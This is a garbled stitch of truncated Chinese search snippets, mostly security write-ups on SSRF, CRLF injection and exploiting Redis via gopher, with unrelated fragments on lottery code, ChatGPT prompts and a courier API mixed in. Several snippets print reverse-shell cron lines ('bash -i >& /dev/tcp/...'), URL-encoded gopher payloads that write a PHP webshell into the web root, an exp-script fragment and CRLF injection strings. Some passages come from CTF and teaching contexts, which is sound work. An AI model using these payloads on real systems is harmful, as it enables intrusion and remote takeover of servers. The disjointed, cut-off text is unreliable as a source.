Checkin_Go 考察点和2020wmctf gogogo类似 参考链接:https://annevi.cn/2020/08/14/wmctf2020-gogogo-writeup/#0x05_go_version...随机数种子为1,可以伪造session 题目给了源码 看到存在/game,没有登录直接就去访问了/game 我们需要去购买flag但是没有钱 在cookie中看到了一串base两次解码后 image.png...%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Axxx%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp...0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/public%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%...0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A ") payload
虽然出的比较烂,但是还是有朋友希望我能把题目源码和环境发出来,毕竟国内的线下awd比赛中web和二进制相结合的也不是太多。 这篇文章就讲一下漏洞以及利用过程。...SSRF漏洞和CRLF漏洞 SSRF漏洞不用说了,没有任何过滤,可以直接打。...另一方面可以利用CRLF漏洞和SSRF漏洞可以用来打redis。 go语言的反序列化+类型反射 不得不承认go语言是非常安全的,为了写出点漏洞,我也是拼了…. 我太难了。...(c.Version + "\n") buf.WriteString("Login user : \n") buf.WriteString(c.Who + "\n") getMemory...:= strings.Split(c.Memory," ") buf.WriteString("Memory Status: \n") cmd := exec.Command(getMemory
并产生一个随机数加入其中,排序。排序后,随机数落在哪个区间,就表示那个区间的奖品被抽中。 返回的随机数在集合中的索引,该索引就是奖品集合中的索引。比例区间的计算通过概率相加获得。...= 0) { double rate = 0D; // 概率所占比例 for (Double prob : giftProbList) { rate...+= prob; // 构建一个比例区段组成的集合(避免概率和不为1) sortRateList.add(rate / sumRate);...使用ThreadLocalRandom生成随机数,在高并发下有更好的性能和安全性,如果是做电商项目,推荐用ThreadLocalRandom生成随机数。最后将奖品按中奖概率排序,并添加到集合中。...thanks.setProb(0.1D); Gift vip = new Gift(); vip.setId(103); vip.setName("优酷会员"); vip.setProb(0D
另外掉用openai需要申请账号和token,这个我具体在《chatGPT的49种应用场景,双AI生成二次元仙女,及各开发语言对接chatGPT参考指南》中已经阐述,再此就不在阐述了。...\n((你的表信息))\n#\n### ((你的文案描述))\n ((生成SQL的类型)) prompt例子:### Mysql SQL tables, 表字段信息如下:\n#\n# Employee...forEach(System.out::println); } } 创新采样 情绪采样 频率处罚系数 重复处罚系数 停止词 0.5 1.0 0.0 0.0 产品取名 说明:依据产品描述和种子词语...(你的文本)) prompt例子:从下面文本中抽取邮箱和电话:\n教育行业A股IPO第一股(股票代码 003032)\n全国咨询/投诉热线:400-618-4000 举报邮箱:mc@itcast.cn...forEach(System.out::println); } } 创新采样 情绪采样 频率处罚系数 重复处罚系数 停止词 0.3 1.0 0.0 0.0 美食制作(后果自负) 说明:依据美食名称和材料生成美食的制作步骤
接下来就是利用contrab计划任务反弹shell 我们先将反弹shell列出来 flushall set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/1xx.xxx.xxx....1xx:/1221 0>&1\n\n' config set dir /var/spool/cron/ config set dbfilename root save https://github.com...2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%31%0d%0a%24%35%39%0d%0a%5c%6e%5c%6e%2a%2f%31%20%2a...%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d...%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d
="Host:$host\r\n"; $out.="Connection:Close\r\n\r\n"; $out....selector>%09 %09%09 是一个单字符用来表示url 资源的类型...s/\n/%0d%0a/;ta;'|sed -r 's/(.*)/gopher:\/\/192.168.73.130:21\/_\1/g'|sed 's/%/%25/g'|sed 's/:/%3a/g'...s/\n/%0d%0a/;ta;'|sed -r 's/(.*)/gopher:\/\/192.168.73.150:21\/_\1/g'|sed 's/%/%25/g'|sed 's/:/%3a/g'...如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准 禁用不需要的协议,仅仅允许http和https请求。
\r\n"; $out....="Host:$host\r\n"; $out.="Connection:Close\r\n\r\n"; $out....s/\n/%0d%0a/;ta;'|sed -r 's/(.*)/gopher:\/\/192.168.73.130:21\/_\1/g'|sed 's/%/%25/g'|sed 's/:/%3a/g'...s/\n/%0d%0a/;ta;'|sed -r 's/(.*)/gopher:\/\/192.168.73.150:21\/_\1/g'|sed 's/%/%25/g'|sed 's/:/%3a/g'...如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准 禁用不需要的协议,仅仅允许http和https请求。
服务器收到PORT主动模式命令和端口后,通过服务器的20号端口和客户端开放的端口连接,发送数据,原理如图所示。...由于 FTP 和 HTTP 类似,协议内容全是纯文本,所以我们可以很清晰的看到它是如何指定地址和端口的: 227 Entering Passive Mode(192,168,9,2,4,8) 227 和...但 file_get_contents 和 file_put_contents 不支持gopher和dict协议。 那么我们如何才能实现 RCE 呢?...n和用户定义函数直接执行系统命令。
注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。...或者理解为首部最后一个字段有两个CRLF首部和主体由两个CRLF分隔。...回车(CR, ASCII 13, \r) 换行(LF, ASCII 10, \n),CRLF字符(%0d%0a)CRLF也被称为HTML拆分。...代码 ASCII码 符号 概念 CR 13 \r 光标移到行首 LF 10 \n 光标垂直移到下行 CRLF %0d%0a 注意:但是不同的操作系统行的结束符是不一样的,所以同一文件在不同操作系统中打开...\r\n %5cr%5cn %0%0d%0ad%0%0d%0aa %0%0D%0AD%0%0D%0AA %0d%0aContentType:%20text/html;charset=UTF-7%0d%
1、概念 CRLF是CR和LF两个字符的拼接,它们分别代表”回车+换行”(\r\n)“,全称为Carriage Return/Line Feed”,十六进制编码分别为0x0d和0x0a,URL编码为...%0D和%0A。...我们可以在本地测试一下CRLF字符的作用,如我们输入aaaa%0d%0abbb%0d%0a%0d%0accc,能看到插入一个字符和两个字符的区别:换行和插入空行: ?...2、Hackerone响应拆分 这个案例也是302跳转类型,但略有不同,访问 info.hacker.one/%0d%0a%09headername:%20headervalue Location正常取值...4、挖掘技巧: 挖掘此类漏洞,依旧要遵循亘古不变的原则,观察我们的输入“输入“和“输出”位置,对于CRLF则是观察返回的各种类型的协议头,所以挖掘分三步: 1、观察输出是否在返回头中,查看输入,可能是在
起因 前段时间项目中遇到一个杀猪盘,一直很忙没有看,最近闲下来就看了一下,没发现什么明显的漏洞,就在Fofa上通过特征搜了一批同类型的站扫源码备份,运气很好,扫到一份 SSRF 本来找到一处任意上传,但是在目标上面已经被删除...un_user_login_log 表 // $this->model->save(array('entrance' => $flag), array('id' => $userId)); //更新用户设备登录类型...Redis支持非传统一次request等待一次response的模式,可以发送多条request后再一次性接收所有response 这个时候dict协议就不行了,因为dict协议会自动在结尾补上\r\n(...这时候是可以发现一些规律的(也就是RESP协议,可以百度了解) 转换: 如果第1个字符是>或者和流量详情。...成功访问到,那么这个新建的目录up_files/avatar/2021/0315/就是777权限,可以通过redis写入webshell了 再用redis写webshell发现和>被实体化了,那么把这两个都再进行一次
n 1A\r\n and this is the second one\r\n 3\r\n con\r\n 8\r\n sequence\r\n 0\r\n \r\n 也可以使用github上的插件实现分块传输...,服务器会对参数名和参数值均进行url解码,需要对等号和& and进行编码(不进行url编码) Nginx, uWSGI-Django-Python2 IBM037, IBM500, cp875, IBM1026..., utf-16, utf-32, utf-32BE, IBM424 对参数名和参数值进行便慢慢 服务器会对参数名和参数值均进行url解码 等号和&符号不应该以任何方式编码。...,%20,%a0•可以利用注释符号替换空格:/**/、%23est%0d%0a、 --+a%0d%0a•可以利用数学运算以及数据类型:news_id=1.0,news_id=1E0,news_id=\N...%0a - 可利用数学运算符以及数据类型:news_id=1.0,news_id=1e0,news_id=1-1 - 位置② - 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
gopher协议支持发出GET、POST请求 可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议 ?...%0a,如果存在多个参数,参数之间的&也需要进行URL编码 注意%0d%0a是\r\n的URL编码。...\n"?> 传递?name=purplet,利用BurpSuite抓包可以看到报文头 GET /tes/get.php?...exp如下: #/usr/bin/python import rllib protocol="gopher://" ip="173.235.203.11" port="6379" shell="\n\n...>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace
SSRF漏洞原理攻击与防御 前言:笔者对SSRF的进一步研究学习基于网络安全爱好者的兴趣,与白帽黑客的责任,仅在专业靶场和补天平台授权站点进行测试。...HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n...可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。...如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。...仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
PHP function 下面学习相关函数和后端实现(从CTF wiki拿过来的) file_get_contents() n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n...漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。...feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php) SSRF漏洞验证 1.排除法:浏览器f12查看源代码看是否是在本地进行了请求 比如:该资源地址类型为...如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
%0A%0D%0Aset%201%20%22\n\n\n\n*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.42.138%...2F1919%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab...%0D%0Asave%0D%0A%0D%0Aqwezxc 4.漏洞环境 靶机:192.168.42.145 Redis容器:172.25.0.2 Kali:192.168.42.138 5.漏洞复现 切换到...%0A%0D%0Aset%201%20%22\n\n\n\n*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.42.138%...2F1919%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab
或者理解为首部最后一个字段有两个CRLF首部和主体由两个CRLF分隔。...回车(CR, ASCII 13, \r) 换行(LF, ASCII 10, \n),CRLF字符(%0d%0a)CRLF也被称为HTML拆分。...代码 ASCII码 符号 概念 CR 13 \r 光标移到行首 LF 10 \n 光标垂直移到下行 CRLF %0d%0a 注意:但是不同的操作系统行的结束符是不一样的,所以同一文件在不同操作系统中打开...0x0D0x0D0x0A0x0A \r\n %5cr%5cn %0%0d%0ad%0%0d%0aa %0%0D%0AD%0%0D%0AA %0d%0aContentType:%20text/html;...0x04 安全防御 漏洞修复关键点: 过滤 \r 、\n 之类的行结束符,避免输入的数据污染其他 HTTP 首部字段。
在多种互联网协议中,包括 HTML,CRLF 字符表示了行的末尾,通常表示为\r\n,编码后是%0D%0A。...在和 HTTP 请求或响应头组合时,这可以用于表示一行的结束,并且可能导致不同的漏洞,包括 HTTP 请求走私和 HTTP 响应分割。...这一类型的漏洞可以导致: 缓存污染,它是一种场景,攻击者可以修改缓冲中的条目,并托管恶意页面(即包含 JavaScript)而不是合理的页面。...总结 良好的攻击是观察和技巧的结合。了解如何使用编码字符串来发现漏洞是一个不错的技巧。%0D%0A可以用于测试服务器,以及判断他们是否存在 CRLF 漏洞。...一定要寻找这样的机会,其中站点使用提交的值来返回一些类型的协议头,例如创建 Cookie。
为集团企业和直接发货用户解决集中的对账结算以及内部的快递集中管理问题。...快递鸟门到门取件已覆盖全国300多个主要城市,38400多个区县,快递鸟多级地址库,精准的订单路由和分发能力,确保发件人和快递小哥的接单匹配,支持取件时间预约,2小时门到门取件让服务 快递鸟-物流数据领导品牌...请求内容JSON格式,须和DataType一致。 R EBusinessID String 商户ID,请在我的服务页面查看。...(适用于快运类型订单,物流公司可能会收取费用),默认为0|O 3.5.下单返回参数(Return) 参数名称 类型 说明 必须要求 EBusinessID String 用户ID R Order...调用接口的身份认证 注册成为快递鸟用户后,会生成对应的用户 ID 和 APIKey,用户 ID 相当于用户名, APIKey 相当于密码。
url=www.baidu.com 2.探测和攻击内网中其他服务器 比如说对内网的机器进行扫描。...%0D%0A换行 gopher协议支持发出GET、POST请求: 可以先截获 get请求包和post请求包,再构造成符合gopher协议的请求。...n*/1 * * * * bash -i >& /dev/tcp/106.12.37.37/2333 0>&1\n\n" redis-cli -h $1 -p $2 config set dir /var...可以使用以中间人代理,让redis-client发送报文给中间人,中间人转发给redis-server shell.sh redis-cli -h $1 -p $2 set 1 "\n\n*/1 *...%0a*4%0d%0a3%0d%0aset%0d%0a3%0d% 0adir%0d%0a16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a6%0d%0aconfig%0d%0a3%
领取专属 10元无门槛券
手把手带您无忧上云